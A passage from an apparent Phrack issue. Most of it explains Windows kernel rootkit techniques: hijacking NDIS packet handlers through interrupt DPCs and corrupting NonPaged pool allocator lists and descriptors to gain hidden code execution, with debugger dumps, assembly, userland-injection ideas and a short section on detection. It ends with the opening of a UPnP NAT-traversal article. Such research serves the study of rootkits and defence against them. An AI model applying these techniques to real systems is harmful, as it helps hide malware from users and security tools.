(*((PNDIS_MINIPORT_BLOCK)(_H))->PacketIndicateHandler)( \ _H, \ _P, \ _N); \ } So in our MiniportDpc routine we will hihjack the PacketIndicateHandler, which is often the ethFilterDprIndicateReceivePacket routine in the NDIS_MINIPORT_BLOCK structure, in order to filter the incoming packets on the miniport. After we have hijacked this pointer we call the original MiniportDpc routine that will process everything. After that, we restore the PacketIndicateHandler handler in the NDIS_MINIPORT_BLOCK for stealth reasons. To sum up we must : - Hijack the routine into the DPC queued by the ndisMIsr routine. - Now that we have hijacked the ndisMDpc we modify the PacketIndicateHandler into the NDIS_MINIPORT_BLOCK of the miniport. - We call the ndisMDpc routine. It will call the original MiniportDpc handler - The MiniportDpc routine calls the NdisMIndicateReceivePacket macro. Our filter function is called and we do our job. - When the ndisMDpc returns we restore the original PacketIndicateHandler into the NDIS_MINIPORT_BLOCK of the miniport. With this filter, we can monitor or modify the incoming packets. For example, our PacketIndicateHandler hook can search in the incoming packets for a tag, when this tag his found the rootkit triggers a function. ---[ 2.2 - Conclusion about stealth hooking on IDT In this part we have seen how Windows manages his hardware interrupts by using a global template function dedicated to all interrupts. The fact that this template routine his forged for each interrupts is the main point of this attack, with that we can create a fake template routine that cannot be detected directly. The stealth of our attack remains on two points : - We modify only dynamic allocated and forged code - We hijack highly temporal dynamic allocated structures which when running, are always preempting the core. So, even if the scope of our attack is restricted, controlling the hardware is the best way for a rk to reach critical components. Finally, we have just cheated the system with its own features and that's the purpose of a stealth rootkit. --[ 3 - Owning NonPaged pool using stealth hooking Rootkit sophistication depends on how it subverts the kernel. More complex techniques come out as kernel and hardware understanding evolve. Nowadays there is so many ways to subvert the kernel, in consequence protections become harder to defeat. We're going to present a different means to gain control. Next techniques apply this approach to the kernel memory allocator. Our goal is getting execution on every NonPaged allocation without using any hook. It must bypass any hooking verification even those based on code page comparison or hashing. It will be done by modifying data used by the allocator. We just apply the concept of using code against itself. We do believe that this concept can be used on others components and in different ways successfully. We won't try to convince you that this technique is perfect. It evades current protections and detection systems. The more important is that they would need more than a simple modification to prevent and block an attack based on kernel code behavior. ---[ 3.1 - Kernel allocation layout review As every operating system, Windows kernel puts forward some functions in order to allocate or free memory. Virtual memory is organized as block of memory called pages. In Intel x86 architecture, a page size is 4096 bytes and most allocations requests are smaller. Thus, kernel functions like ExAllocatePoolWithTag and ExFreePoolWithTag kept unused memory blocks for next allocations. Internal functions directly interact with hardware each time a page is needed. All those procedures are complex and delicate that's why drivers trust kernel implementation. -----[ 3.1.1 - Difference between Paged and NonPaged pool Kernel system memory is divided in two different kind of pool. It has been separated to distinguish most used memory blocks. The system must know which pages should be resident and which can be temporarily discarded. The page fault handler restores pageable memory only when IRQL is inferior of DPC or DISPATCH level. Paged pool can be paged in or out of the system. A memory block paged out will be saved on the file system and so unused part of paged memory will not be resident in memory. NonPaged pool is present in every IRQL level and then is put-upon for important tasks. The file pagefile.sys contains paged out memory. It was attacked to inject unsigned code into Vista kernel [32]. Some solutions was discussed as disabling kernel memory paging. Joanna Rutkowska defended this solution as more secure than others but with a small physical memory loss. Microsoft just denied raw disk access, which may prove that Paged and NonPaged layout is an important feature of Windows kernel [33]. This article focuses on NonPaged pool layout as PagedPool handling is totally different. NonPaged pool can be more or less considered as following a typical heap implementation. Global information about system pool can be found in Microsoft Windows Internals [34]. -----[ 3.1.2 - NonPaged pool tables The allocation algorithm must be fast allocating on the most used sizes. That why three different tables exist and each one is devoted to a size range. We found this organization in most memory management algorithms. Retrieving memory blocks from hardware takes time. Windows balances between response faster and avoid memory wasting. Response time becomes faster if memory blocks are stored for next allocations. In the other hand, if you keep too much memory, it can penalize memory demands. Each table implements a different way to store memory blocks. We will present each table and where you can find them. The NonPaged lookaside is a per-processor table covering size inferior or equal to 256 bytes. Each processor has a processor control register (PCR) storing data concerning only a single processor like IRQL level, GDT, IDT. Its extension called processor control region (PCRB) contains lookasides tables. Next windbg dump presents NonPaged lookaside table and its structure. kd> !pcr KPCR for Processor 0 at ffdff000: Major 1 Minor 1 NtTib.ExceptionList: 805486b0 NtTib.StackBase: 80548ef0 NtTib.StackLimit: 80546100 NtTib.SubSystemTib: 00000000 NtTib.Version: 00000000 NtTib.UserPointer: 00000000 NtTib.SelfTib: 00000000 SelfPcr: ffdff000 Prcb: ffdff120 Irql: 00000000 IRR: 00000000 IDR: ffffffff InterruptMode: 00000000 IDT: 8003f400 GDT: 8003f000 TSS: 80042000 CurrentThread: 80551920 NextThread: 00000000 IdleThread: 80551920 DpcQueue: 0x80551f80 0x804ff29c kd> dt nt!_KPRCB ffdff120 [...] +0x5a0 PPNPagedLookasideList : [32] +0x000 P : 0x819c6000 _GENERAL_LOOKASIDE +0x004 L : 0x8054dd00 _GENERAL_LOOKASIDE [...] kd> dt nt!_GENERAL_LOOKASIDE +0x000 ListHead : _SLIST_HEADER +0x008 Depth : Uint2B +0x00a MaximumDepth : Uint2B +0x00c TotalAllocates : Uint4B +0x010 AllocateMisses : Uint4B +0x010 AllocateHits : Uint4B +0x014 TotalFrees : Uint4B +0x018 FreeMisses : Uint4B +0x018 FreeHits : Uint4B +0x01c Type : _POOL_TYPE +0x020 Tag : Uint4B +0x024 Size : Uint4B +0x028 Allocate : Ptr32 void* +0x02c Free : Ptr32 void +0x030 ListEntry : _LIST_ENTRY +0x038 LastTotalAllocates : Uint4B +0x03c LastAllocateMisses : Uint4B +0x03c LastAllocateHits : Uint4B +0x040 Future : [2] Uint4B Lookaside tables permit faster block retrieving than typical double linked list. For this optimization lock time is really important and a single linked list is a faster mechanism than software locking. ExInterlockedPopEntrySList function is used to pop an entry from a single linked list using hardware locking instruction "lock". PPNPagedLookasideList is the lookaside table we were talking about. It contains two lookaside lists P and L. Depth field of the GENERAL_LOOKASIDE structure defines how many entries can be in ListHead single list. The system updates regularly the depth using different counters. The update algorithm is based on processor number and is different for P and L. Depth of the P list is updated more frequently than L list as it optimizes performances on very small blocks. The second table depends how many processors are used and how system managed them. Allocation system walk it if size is inferior or equal to 4080 bytes or if lookaside research failed. Even if target table can change, it always has the same POOL_DESCRIPTOR structure. On single processor, a variable called PoolVector is used to retrieve NonPagedPoolDescriptor pointer. On multi processor, the ExpNonPagedPoolDescriptor table has 16 slots containing pool descriptors. Each processor PRCB points on a KNODE structure. A node can be linked on more than one processor and contains a color field used as an index in ExpNonPagedPoolDescriptor. Next figures illustrate this algorithm. PoolVector +------------+ | NonPaged | --------------> NonPagedPoolDescriptor |------------+ | Paged | +------------+ [ Figure 1 - Single processor pool descriptor ] Processor #1 +------------+ | | ExpNonPagedPoolDescriptor | PRCB ------\ +-------------------+ | | | /---------> SLOT #01 | +------------+ | | | SLOT #02 | /---------/ | | SLOT #03 | | KNODE | | SLOT #04 | |---> +------------+ | | SLOT #05 | | | Proc mask | | | SLOT #06 | | | color (01) --/ | SLOT #07 | | | ... | | SLOT #08 | | +------------+ | SLOT #09 | | | SLOT #10 | \---------\ | SLOT #11 | Processor #2 | | SLOT #12 | +------------+ | | SLOT #13 | | | | | SLOT #14 | | PRCB ------/ | SLOT #15 | | | | SLOT #16 | +------------+ +-------------------+ [ Figure 2 - Multiple processor pool descriptor ] A global variable ExpNumberOfNonPagedPools defines if multi processor case is used. It should reflect processor number but it can change between operating system versions. The next dump shows POOL_DESCRIPTOR structure from windbg. kd> dt nt!_POOL_DESCRIPTOR +0x000 PoolType : _POOL_TYPE +0x004 PoolIndex : Uint4B +0x008 RunningAllocs : Uint4B +0x00c RunningDeAllocs : Uint4B +0x010 TotalPages : Uint4B +0x014 TotalBigPages : Uint4B +0x018 Threshold : Uint4B +0x01c LockAddress : Ptr32 Void +0x020 PendingFrees : Ptr32 Void +0x024 PendingFreeDepth : Int4B +0x028 ListHeads : [512] _LIST_ENTRY Queued spinlock synchronization, part of HAL library, is used to restrict concurrency on a pool descriptor. It assures that only one thread and one processor will access and unlink an entry from a pool descriptor. HAL library changes on different architectures and what is a simple IRQL raising on single processor becomes a more complex queued system on multi-processor. For default pool descriptor, general NonPaged queued spinlock is locked (LockQueueNonPagedPoolLock). Else, a custom queued spinlock is created. The third and last table is shared by processors for size superior of 4080 bytes. MmNonPagedPoolFreeListHead is also used when others tables lack memory. It composed by 4 LIST_ENTRY each one representing a page number, except for the last one which holds all superiors pages kept by the system. Access to this table is guarded by general non paged queued spinlock also called LockQueueNonPagedPoolLock. During the free procedure of a smaller block, ExFreePoolWithTag merges it with previous and next free blocks. It can create a block superior or equal to 1 page. In this case, the new block is added in the MmNonPagedPoolFreeListHead table. -----[ 3.1.3 - Allocation and free algorithms Kernel allocation does not change that much between OS versions but its algorithm is as hard as the userland heap one. In this part, we want to illustrate basic behavior between tables during allocation or free procedures. A lot of details have been thrown away such as synchronization mechanisms. Those algorithms will help you for the technique explanation but also understanding the basic elements of kernel allocation. Despite kernel exploitation is not part of this paper, pool overflow is an interesting topic that needs understanding of some part of this algorithm. NonPaged pool allocation algorithm (ExAllocatePoolWithTag): IF [ Size > 4080 bytes ] [ - Call the MiAllocatePoolPages function - Walk MmNonPagedPoolFreeListHead LIST_ENTRY table. - Retrieve memory from hardware if necessary. - Return memory page aligned (without header). ] IF [ Size <= 256 bytes ] [ - Pop entry from PPNPagedLookasideList table. - If something is found return memory block. ] IF [ ExpNumberOfNonPagedPools > 1 ] - PoolDescriptor from ExpNumberOfNonPagedPools and used index comes from PRCB KNODE color. ELSE - PoolDescriptor is PoolVector first entry, designed by symbol as NonPagedPoolDescriptor. FOREACH [ >= Size entry of PoolDescriptor.ListHeads ] [ IF [ Entry is not empty ] [ - Unlink entry and split it if needed - Return memory block ] ] - Call the MiAllocatePoolPages function - Walk MmNonPagedPoolFreeListHead LIST_ENTRY table.. - Split it correctly to the right size - Return new memory block NonPaged pool free algorithm (ExFreePoolWithTag) : IF [ MemoryBlock is page aligned ] [ - Call the MiFreePoolPages function - Determine block type (Paged or NonPaged) - Depending on how many blocks are kept in MmNonPagedPoolFreeListHead, we release it to the hardware. ] ELSE [ - Merge previous and next block if possible IF [ NewMemoryBlock size <= 256 bytes ] [ - Look at PPNPagedLookasideList entry depth and see if we should keep it. - We return if memory block is pushed into lookaside list ] IF [ NewMemoryBlock size <= 4080 bytes ] [ - Use POOL_HEADER PoolIndex variable to determine which PoolDescriptor must be used. - Insert it in the proper LIST_ENTRY array entry - If anything goes well, return ] - Depending on how many blocks are kept in MmNonPagedPoolFreeListHead, we release it to the hardware. ] Paged pool algorithm is very different especially for page aligned blocks. Smaller size management should be not that far from NonPaged but in assembly code we definitely saw that NonPaged and Paged pool are totally separated. Once you know a little more about how NonPaged allocation works, we can now talk about exploitation part. ---[ 3.2 - Getting code execution abusing allocation code Our main goal is getting code execution on every allocation attempts for NonPaged pool only. This result must be done only by changing data used by targeted code. Our purpose is proving that kernel code can serve our interest only by changing typical data environment. Our work is based on a new rootkit developed to gain control over NonPaged allocation. We start with getting code execution for allocation superior or equal to 1 page. As we saw on previous part, it concerns the third and last table. -----[ 3.2.1 - Data corruption of MmNonPagedPoolFreeListHead MmNonPagedPoolFreeListHead conserves page aligned memory blocks to speed up memory allocation. It links held memory block using a LIST_ENTRY structure. This structure is common and use in Windows heap library for example. kd> dt nt!_LIST_ENTRY +0x000 Flink : Ptr32 _LIST_ENTRY +0x004 Blink : Ptr32 _LIST_ENTRY MmNonPagedPoolFreeListHead access is protected by general NonPaged queued spinlock LockQueueNonPagedPoolLock. It assures that only one thread and processor can look and modify this structure. So we need a way to get control over allocation and unlinking procedure seems perfect. We can poison this linked list with a fake entry, with the highest size possible, which unlinking will modify current executed code. At kernel level, you can modify code as data without any protection issues. Unlinking was used when heap exploitation started [20] but modifying code was not possible from userland. As spinlock assures us exclusivity, there is no risk on some race condition. The created "hook" would be dynamic and code restored directly. Page guard protection reverse [18] shows that code is only checked every 5 minutes. Whether a modification is found, real code is just replaced. This method has plenty assets but also a lot of obstacles. Let start by enumerating all those obstacles : - On a basic implementation of unlinking, list become unwalkable. It breaks most utilization of the table. - Pass through page cleaning methods and always be the first block on the list otherwise we could miss some call. - We break code path and sooner or later we must return as if our hijacking has never been there and everything goes fine. - Processor prefetch make self code modification dangerous. Unlinking gives us 4 bytes overwriting to build an opcode and create a redirection. In our case, we influenced current context and a register should point to the unlinked entry. We said should point without choosing a single register because kernel changes between versions or service packs. As soon as we discuss context, we will stay talking about general situations. We choose to make a jmp [reg+XX] which is FF60XX in hex. This technique effectiveness lies on keeping the MmNonPagedPoolFreeListHead walkable. A double linked list, as LIST_ENTRY, is walkable if Flink is correct. Therefore we can choose an address for Flink as 0xXXXX60FF and Blink will point to the code address. The Intel x86 architecture using little endian our address is quite easy to found, we must check opcode offset and discard too close possibilities. Next figure illustrates a poisoned entry. MmNonPagedPoolFreeListHead[i] /------> +--------------------+ | | Flink | ---\ | |--------------------| | | <---- | Blink | | | +--------------------+ | | | ... | | | +--------------------+ | | /-------------------------------/ | | | | Poisoned entry | | +--------------------+ | | | PreviousSize : - | | | +--------------------+ | | | PoolIndex : - | | | +--------------------+ | | | PoolType: NonPaged | | | +--------------------+ | | | BlockSize : i | | | +--------------------+ | | | PoolTag : - | | \---> +--------------------+ | | Flink : 0xYYXX60FF | <--\ | |--------------------| | | X--- | Blink : 0x80YYYYYY | | | +--------------------+ | | | | /-------------------------------/ | | Fake entry (0xYYXX60FF) | | +--------------------+ | | | PreviousSize : - | | | +--------------------+ | | | PoolIndex : - | | | +--------------------+ | | | PoolType: NonPaged | | | +--------------------+ | | | BlockSize : < i | | | +--------------------+ | | | PoolTag : - | | |---> +--------------------+ | | | Flink : 0x80..... | ---\ | | |--------------------| | | \---- | Blink : Poisoned | | | +--------------------+ | \--------------- [...] ------------/ Unlinking instruction : mov [0x80YYYYYY], 0xYYXX60FF New Opcode after unlinking : jmp [reg+XX] (FF 60 XX) [ Figure 3 - Poisoned double linked list ] This figure shows a MmNonPagedPoolFreeListHead entry layout that assures predicted unlinking and then code execution. We must maintain this layout or we will lose our position. NonPaged blocks come from two different virtual memory ranges. The second memory region start is stored in MmNonPagedPoolExpansionStart. A cleaning function is called sometime to free blocks from the expansion NonPaged pool. To avoid this cleaning, we can use a Paged pool block locked. You can lock a memory block with the MmProbeAndLockPages function. This lock makes described memory region as resident. Another more discreet way is to remap a NonPaged block with the function MmMapLockedPagesSpecifyCache. It is more discrete because this mapping would be just before expansion NonPaged pool memory range. Using a locked Paged pool block creates an address totally differently. A quick look at those addresses between NonPaged ones show a clear difference. As virtual memory is very large, it does not take too much time to find an address like 0xYYXX60FF. We will not unlock those pages until our technique is running. To defeat code path issues we differentiate two different states. The first state is when our block is selected. The second state is when our block is unlinked. If we were able to return to the first step with our next fake entry selected, we could continue walking code as normal. We achieve that by using a generic approach. At IRQL equal to DISPATCH_LEVEL, we corrupt a MmNonPagedPoolFreeListHead entry with some invalid pointers. With a hook on the page fault handler we are capable to see first and second stages, restore the right context each time and save context difference between those states. Assembly dump from MiAllocatePoolPages : lea eax, [esi+8] ; Stage #1 esi is selected block and esi+8 its size cmp [eax], ebx ; Check with needed size mov ecx, esi jnb loc_47014B [...] loc_47014B: sub [esi+8], ebx mov eax, [esi+8] shl eax, 0Ch add eax, esi cmp _MmProtectFreedNonPagedPool, 0 ; Protected mode, don't care mov [ebp+arg_4], eax jnz short loc_47016E mov eax, [esi] ; \ Stage #2 mov ecx, [esi+4] ; | Unlinking mov [ecx], eax ; | procedure mov [eax+4], ecx ; / jmp short loc_470174 Now let's see how it works during our test technique with interrupt fault handler (int 0xE) hooked : lea eax, [esi+8] ; Stage #1 - Check with needed size cmp [eax], ebx ; ----> PAGE FAULT esi = 0xAAAAAAAA | eax = esi + 8 ; - We keep EIP and all registers ; - Scan all registers for 0xAAAAAAAA +/- 8 ; and correct the current context. Continue. mov ecx, esi jnb loc_47014B [...] loc_47014B: sub [esi+8], ebx mov eax, [esi+8] shl eax, 0Ch add eax, esi cmp _MmProtectFreedNonPagedPool, 0 ; Protected mode, don't care mov [ebp+arg_4], eax jnz short loc_47016E mov eax, [esi] ; \ Stage #2 - Unlinking procedure mov ecx, [esi+4] ; | mov [ecx], eax ; | ------> PAGE FAULT ecx = 0xBBBBBBBB ; | eax = 0xCCCCCCCC ; | - Keep EIP and sub this context from ; | Stage #1 saved context ; | - Change fault registers and ; | structure pointers. Continue. mov [eax+4], ecx ; / jmp short loc_470174 Fault addresses 0xAAAAAAA, 0xBBBBBBBB and 0xCCCCCCCC must point on invalid addresses to force a caught page fault. This test is made only once and when we still have exclusivity on all processors. The int 0xE (page fault) handler is restored just after. This generic technique permits us to restore a valid context just before selected block size is checked. Once we get code execution, we apply context difference, change the current block register and then return at first stage address. It works well because our two stages are very close, once a selected block size is checked, unlinking is directly made. Given examples were based on a single LIST_ENTRY of the MmNonPagedPoolFreeListHead table but you must poison all entries. If a given entry is empty (except for our fake blocks), the algorithm tries next the entry. It means we will be called more than one time per allocation. We created a mechanism to manage multiple call on a single allocation. If the first entry is empty, the second entry is used and so on. Then we will be called twice or more. By checking current table, we can predict a future code execution on the same allocation and avoid executing payload more than one time per allocation request. Prefetch is a processor feature that retrieves more than a single instruction from memory before it executes them. Some processor use a complex branch prediction algorithm to fetch as much instruction as possible. After some tests, we saw that processors invalidate code cache when a modification occurs in cached memory addresses. Our driver supports a case where code modification could be right after current instruction. To achieve that we created a routine which calculates prefetch cache size and consider it in next parts of our technique. We could also search specifics instructions which clean prefetch cache like a far jump but it can only be used as an option. This technique gives us code execution for NonPaged allocation superior or equal to 1 page. It achieves that with a stealth hook, created by kernel code and cleaned by our routine directly after. It's far from being perfect as those allocations are not used that much. Next part describes how this technique can be extended to gain control over all NonPaged pool allocations. -----[ 3.2.2 - Expend it for every size Others lists can not be hijacked the same way because synchronization mechanisms are not exclusive. Changing some assembly code becomes tricky if it can be executed by more than one thread at a time. Our method is assuring our previous technique execution on any allocation. Once we have control, we can find a way to retore ExAllocatePoolWithTag context with a correct return value. We must do that without recoding a single line of memory allocator. It is possible to create our own allocator but Windows one is great and it will perfectly do the job for us. During allocation, the lookaside list is checked first. It will pop an entry and if this entry is not NULL, use it. This entry comes from GENERAL_LOOKASIDE ListHeader field. This field structure is SLIST_HEADER. kd> dt nt!_SLIST_HEADER . +0x000 Alignment : Uint8B +0x000 Next : +0x000 Next : Ptr32 _SINGLE_LIST_ENTRY +0x004 Depth : Uint2B +0x006 Sequence : Uint2B The ExInterlockedPopEntrySList function pops an entry from a SLIST_HEADER structure. The Next field is a pointer to the next SLIST node (single linked list). The Depth field represents how many entries are kept in the list. ExFreePoolWithTag compare GENERAL_LOOKASIDE optimal depth with current SLIST_HEADER depth. ExAllocatePoolWithTag does not check this field and just looks if some entry can be popped out Next field. To stunt allocation and free procedure on NonPaged lookaside table, we set Next field to NULL and Depth field to 0xFFFF. This state will be preserved and this table will not be used anymore. Our technique expansion relies entirely on subverting how the ExpNonPagedPoolDescriptor table is used. In the previous part, we explained global variable ExpNumberOfNonPagedPools involvement in this process. It is possible to expand number of NonPaged pools and then play with current KNODE color. During allocation, the KNODE color defines which pool descriptor is used. Then during free procedure, PoolIndex field of POOL_HEADER keep pool descriptor color. So we can use this nice feature to our advantage. Default KNODE color on every processors would point on an empty pool descriptors. It will lead to code execution using our base technique. If the function MiAllocatePoolPages return address is not the one use for classical page rounded allocation, we know that a smaller allocation occur. All we have to do is switch PRCB KNODE pointer to a copy with custom color and recall ExAllocatePoolWithTag. Everything related to allocation and block management will be implemented as it needs to be even if it differs between operating system versions. Returned blocks PoolIndex will point to our own pool descriptor and free procedure, which will perfectly work. Lets see how it will look on a single processor. ExpNonPagedPoolDescriptor +-------------------+ | PREVIOUS POOLDESC | <--- Kept for compatibility (0) | EMPTY POOLDESC | <--- Default KNODE->color (1) | -- | | -- | | -- | | -- | | -- | | -- | | -- | | -- | | -- | | -- | | -- | | -- | | -- | | CUSTOM POOLDESC | <--- Used for our allocations (16) +-------------------+ [ Figure 4 - Corrupted ExpNonPagedPoolDescriptor ] [ on single processor ] This setup is just an example and you can manage the arrangement as you want. We could transfer previous blocks from older pool descriptors in our own and then receive free blocks. It is also possible to use multiple pool descriptors and so on. Beware of system pool descriptor recycling as it can leads to strange behavior specially on multi-processor architecture. Once we have our fresh allocated block, we must return at ExAllocatePoolWithTag return address. MiAllocatePoolPages has been called to retrieve a new page and fill the current pool descriptor with it. It's obvious that we can't return normally and let page allocation occurs. On Intel x86 architecture the stack is used to store local variables, arguments and saved registers. The Windows compiler starts by reserving local variable and then pushes each register before its modification. The next figure shows our stack configuration once we have code execution. top +--------------------+ | Our stack elements | Restore assembly example +--------------------+ <------ /---------------\ | | | pop ecx | | Saved registers | | pop ebx | | | | pop esi | +--------------------+ | leave | | | | retn 0Ch | | | \---------------/ | | | | | | | Stack variables | | | | | | | | | | | +--------------------+ [new stack level] | Saved EBP | | +--------------------+ | | Return Address | | +--------------------+ | | | | | Function arguments | | | | | +--------------------+ <--------------/ bottom [ Figure 5 - Stack context after code execution ] [ ~ small blocks case ~ ] The restore assembly part shows correct assembly in current function which perfectly restores the context. It does not correspond of the first series of pop instruction before return. There is an important risk that some register has not been pushed yet. It is possible to deduce the pushed register number by looking at function prologue when stack variables are reserved. In the Windows compiler, it's quite simple and we can easily calculate the pushed register number. A simple disassembly analysis on needed pop register number does the job. It must be done for MiAllocatePoolPages and ExAllocatePoolWithTag. We change the return address stored in the stack and go to the deduced MiAllocatePoolPages address. Last step is setting eax register for the return value. Both functions return a value and preserve eax value. Our analyzer is dynamic and registers each pop and its register. That why we can restore the proper context even if it changes between versions. The Windows compiler is really easy to predict and does not create too strange assembly organization. This technique is theoretically possible on every assembly code that follow stdcall specification. The approach could differ on others compilers. ---[ 3.3 Exploit our position This article present a way of subverting the Windows kernel by modifying only data. No function pointers, no static hooking or others classical technique. It could exempt us of any other explanation. But it would not be complete without some concrete examples. I personally believe that the only limitation here is imagination. -----[ 3.3.1 Generic stack redirection Allocation occurs in so many places that you must rely on known context and functions. Once everything is setup and before releasing exclusivity, some stack redirection database can be created. The first way to do this is calling a handler if stack backtracing reveals a specific function. Stack backtracing shows only return addresses and not which function call it. Debuggers resolve those functions by deep analysis or symbol checking. Implementing those features would take too much time. So it's better to target a specific return address on ExAllocatePoolWithTag stack frame. It will definitely improve check speed. To do that, we indicates to our stack redirection API that we target a specific function. Then launch a normal call or procedure that will lead to our function. Every allocation during this time will show important backtrace stacks. Let say, we target an IRP and we know which function handles it by looking at IRP dispatch table. We also know by reversing that it will allocate a NonPaged block. Launching an I/O request, our API could register some NonPaged call and recognize later. In the wild, it will call the appropriate handler with sub context information. Sometimes getting a context is not enough. The second way stays on same principles but modifies the stack to assure our handler is called once the function end. Efficiency depends on what is your target and how you modifying it. -----[ 3.3.2 Userland process code injection This technique can be also used to inject code in userland to subvert trusted applications. NonPaged allocation occurs a lot in kernel mode and it happens in every process. Some kernel drivers like win32k.sys call userland many times. This call is achieve by the function KeUserModeCallback [35]. It modifies userland stack to switch temporarily for a call in userland. Available functions are limited by a table. Userland injection from kernel should not be resident and only concern known trusted application as browsers. Injection can be done on explorer.exe as well to launch an hidden instance of a trusted program. KeUserModeCallback algorithm can be easily remade or copied then relocated.Redirection table could be subverted to redirect the call. We can also think about exploiting userland calls. It does not make any sense to add checks on those available functions. --[ 4 - Detection This article does not try to convince you that subverting IDT or allocation mechanism using advanced technique is the future. Most detection tools only indicate if a rookit may or may not be in this computer. It has pains identifying which module is responsible. It detects antivirus or firewall as rootkits. A protection layout could detect itself as a rootkit because it does everything a rootkit does and so does not ask it to block or uninstall a rootkit. Rootkit papers demonstrate so many great ways to easily bypass those protections. But we don't see much those techniques in the wild, simply because rootkits don't need them for the moment. Detect software behavior modification could be part of a Verifiable Operating System [36]. It will involve basic checks on known memory structures. Checks integrity of LIST_ENTRY structures and correct them if needed. We can blame rootkit protections as much as we want but detecting rootkits on a closed operating system is almost impossible. Gives more information for kernel components will certainly leads to more sofisticates attacks. In the other hand, it could reduce attack surface. It is specially true on a defence oriented operating system. Next protection improvements should come from the operating system itself. Now that there are hardware improvements for virtualisation, such as hypervisors, there will be extensions to hardware to detect and protect against rootkits. It offers a real control on operating system behavior without advanced research on kernel layout. Some protections techniques that were impossible to implement in Windows environment like PAX, could rely on those hardware features. Our techniques could be detected by registering and monitoring some specific events on the processor. It is possible today to do that but performance issues are important. Our attacks could be blocked using targeted protection such as signatures. An attack is defined as how many times it takes to create a generic protection. In this area, Patchguard is an important improvement. --[ 5 - Conclusion This papers techniques were made to show that elegant software hijacking can still evades most protections and avoid any performance issues or unstable behaviors. Even though, these techniques are hardly reliable and should be considered only as a technical proof of concept. New protections are not efficient enough or present. They do not represent a threat for a rootkit which targets millions of computers. Reversing is an important tool in improving software rootkits techniques. Detecting that a rootkit is present should not be enough. A protection which cannot uninstall a rootkit or prevent infection is useless. Drivers signatures was a good idea as it was designed to stop current infections entries. But infection prevention includes local kernel exploitation. Generic detection of those attacks would need an important improvement in anti-rootkits protections and operating system design. --[ 6 - References [1] Holy Father, Invisibility on NT boxes, How to become unseen on Windows NT (Version: 1.2) http://vx.netlux.org/lib/vhf00.html [2] Holy Father, Hacker Defender https://www.rootkit.com/vault/hf/hxdef100r.zip [3] 29A http://vx.netlux.org/29a [4] Greg Hoglund, NT Rootkit https://www.rootkit.com/vault/hoglund/rk_044.zip [5] fuzen_op, FU http://www.rootkit.com/project.php?id=12 [6] Peter Silberman, C.H.A.O.S, FUto http://uninformed.org/?v=3&a=7 [7] Eeye, Bootroot http://research.eeye.com/html/tools/RT20060801-7.html [8] Eeye, Pixie http://research.eeye.com/html/papers/download/ eEyeDigitalSecurity_Pixie%20Presentation.pdf [9] Joanna Rutkowska and Alexander Tereshkin, Blue Pill project http://bluepillproject.org/ [10] Frank Boldewin, A Journey to the Center of the Rustock.B Rootkit http://www.reconstructer.org/papers/ A%20Journey%20to%20the%20Center%20of%20the%20Rustock.B%20Rootkit.zip [11] Frank Boldewin, Peacomm.C - Cracking the nutshell http://www.reconstructer.org/papers/ Peacomm.C%20-%20Cracking%20the%20nutshell.zip [12] Stealth MBR rootkit http://www2.gmer.net/mbr/ [13] EP_X0FF and MP_ART, Unreal.A, bypassing modern Antirootkits http://www.rootkit.com/newsread.php?newsid=647 [14] AK922 : Bypassing Disk Low Level Scanning to Hide File http://rootkit.com/newsread.php?newsid=783 [15] CardMagic and wowocock, DarkSpy http://www.fyyre.net/~cardmagic/index_en.html [16] pjf, IceSword http://pjf.blogone.net [17] Gmer http://www.gmer.net/index.php [18] Pageguard papers (Uniformed) : - Bypassing PatchGuard on Windows x64 by skape & Skywing http://www.uninformed.org/?v=all&a=14&t=sumry - Subverting PatchGuard Version 2 by Skywing http://www.uninformed.org/?v=all&a=28&t=sumry - PatchGuard Reloaded: A Brief Analysis of PatchGuard Version 3 by Skywing http://www.uninformed.org/?v=all&a=38&t=sumry [19] Greg Hoglund, Kernel Object Hooking Rootkits (KOH Rootkits) http://www.rootkit.com/newsread.php?newsid=501 [20] Windows Heap Overflows - David Litchfield http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/ bh-win-04-litchfield.ppt [21] Bypassing Klister 0.4 With No Hooks or Running a Controlled Thread Scheduler by 90210 - 29A http://vx.netlux.org/29a/magazines/29a-8.rar [22] Microsoft, Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx [23] Kad, Phrack 59, Handling Interrupt Descriptor Table for fun and profit http://phrack.org/issues.html?issue=59&id=4#article [24] Wikipedia, Southbridge http://en.wikipedia.org/wiki/Southbridge_(computing) [25] Wikipedia, Northbridge http://en.wikipedia.org/wiki/Northbridge_%28computing%29 [26] The NT Insider, Stop Interrupting Me -- Of PICs and APICs http://www.osronline.com/article.cfm?article=211 (login required) [27] Russinovich, Solomon, Microsoft Windows Internals, Fourth Edition Chapter 3. System Mechanisms -> Trap Dispatching [28] MSDN, KeyboardClassServiceCallback http://msdn2.microsoft.com/en-us/library/ms793303.aspx [29] Clandestiny, Klog http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip [30] Alexander Tereshkin, Rootkits: Attacking Personal Firewalls www.blackhat.com/presentations/bh-usa-06/BH-US-06-Tereshkin.pdf [31] MSDN, NdisMIndicateReceivePacket http://msdn2.microsoft.com/en-us/library/aa448038.aspx [32] Subverting VistaTM Kernel For Fun And Profit by Joanna Rutkowska http://invisiblethings.org/papers/ joanna%20rutkowska%20-%20subverting%20vista%20kernel.ppt [33] Vista RC2 vs. pagefile attack by Joanna Rutkowska http://theinvisiblethings.blogspot.com/2006/10/ vista-rc2-vs-pagefile-attack-and-some.html [34] Russinovich, Solomon, Microsoft Windows Internals, Fourth Edition Chapter 7. Memory Management -> System Memory Pools [35] KeUserModCallback ref - "Ring0 under WinNT/2k/XP" by Ratter - 29A http://www.illmob.org/files/text/29a7/Articles/29A-7.003 [36] Joanna Rutkowska - Towards Verifiable Operating Systems http://theinvisiblethings.blogspot.com/2007/01/ towards-verifiable-operating-systems.htm ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x05 of 0x0f |=-----------------=[ Clawing holes in NAT with UPnP ]=------------------=| |=-----------------------------------------------------------------------=| |=---=[ max_packetz@felinemenace.org ]=----=| |=--------------------------=[ April 12th 2008 ]-=-----------------------=| --[ Contents 1 - Introduction / An overview of NAT and UPnP. 2 - Implementation Details 2.1 - Implementation specifics: IRC Protocol: DCC 2.2 - Implementation specifics: Java 2.3 - Implementation specifics: HTML 2.4 - Implementation specifics: Listener 3 - Putting it all together with Python 4 - References 5 - Appendix A: Source code --[ 1 - Introduction / An overview of NAT and UPnP. Welcome reader, this paper is a short attempt at documenting a practical technique we have been working on. Although our technique uses very similar technology to many other attacks, we have not seen this documented in such a manner before, nor have we seen a practical implementation in the wild. This paper 